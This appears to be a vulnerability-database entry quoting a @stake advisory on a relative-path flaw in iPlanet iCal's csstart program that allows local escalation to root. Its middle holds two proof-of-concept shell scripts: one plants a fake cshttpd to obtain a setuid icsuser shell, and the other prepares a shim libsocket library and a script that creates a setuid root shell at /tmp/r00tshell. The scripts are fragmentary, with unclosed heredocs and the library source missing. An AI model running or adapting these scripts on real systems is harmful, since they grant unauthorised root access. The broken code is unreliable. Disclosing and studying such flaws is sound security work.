[原文]csstart program in iCal 2.1 Patch 2 uses relative pathnames to install the libsocket and libnsl libraries, which could allow the icsuser account to gain root privileges by creating a Trojan Horse library in the current or parent directory.
Netscape's iPlanet iCal application is a network based calendar service built for deployment in organizations which require a centralized calendar system. Certain versions of iCal ship with a vulnerability in /opt/SUNWicsrv/cal/bin/csstart program. This program is designed to launch the 'cshttpd' server which is the web based interface for the iCal product.
The problem lies in that the 'csstart' program when run attempts by default to launch cshttpd out of the directory the user is in when they issue the command. Therefore, if a malicious user creates their own cshttpd in the directory from which they launch the csstart the fake server which be launched as opposed to the actual service. This rogue service is effectively launched as the user icsuser and allows the attacker to issue commands as such. Because this user ID owns the iCal directories and files the attacker may user to leverage the attack to root privileges. The example given in the @ Stake advisory is for a user to place shim libraries in the iCal library directory to have the csstart binary retain it's setuid privileges as opposed to dropping them as it is designed to.
Proof of Concept Tools:
There are two scripts below, the first obtains an icsuser shell.
The second script is used to obtain root access the next time iCal is
stopped or started. The second script should be run once you've obtained
the shell and have become the icsuser. This second script creates a shim
libsocket.so.1 library with a modified socket() function that then
executes a shell script as root.
# Simple proof of concept exploit used to obtain icsuser shell.
cat > cshttpd << FOOFOO
cp /usr/bin/ksh ./icsuser
chmod 4755 ./icsuser
chmod 755 ./cshttpd
echo "Executing csstart...."
$INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null
ls -al ./icsuser
# Simple iCal exploit. Become icsuser by running the shell created with
# obtain-ics.sh script, and then run this shell script. The next time that
# service is started by root (ie. system reboot), a root owned suid shell
# be created: /tmp/r00tshell.
#Create the shim library..
cat > libsushi.c << FOEFOE
compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
#create the shell script we'll be executing as root..
cat > $INSTDIR/cal/bin/icalroot << FOOFOO
cp /usr/bin/ksh /tmp/r00tshell
chmod 4755 /tmp/r00tshell
ls -l $INSTDIR/cal/bin/icalroot
echo ".. Now wait for the iCal service to start up again"
For more advisories: http://www.atstake.com/research/advisories/
PGP Key: http://www.atstake.com/research/pgp_key.asc
iCal csstart Program Relative Pathname Privilege Escalation
Local Access Required
Loss of Integrity
iPlanet iCal contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The csstart program uses relative pathnames to install the libsocket and libnsl libraries. It is possible that a malicious user could gain root privileges by creating a Trojan Horse library in the current or parent directory resulting in a loss of integrity.
Currently, there are no known workarounds or upgrades to correct this issue. However, Sun has released a patch to address this vulnerability.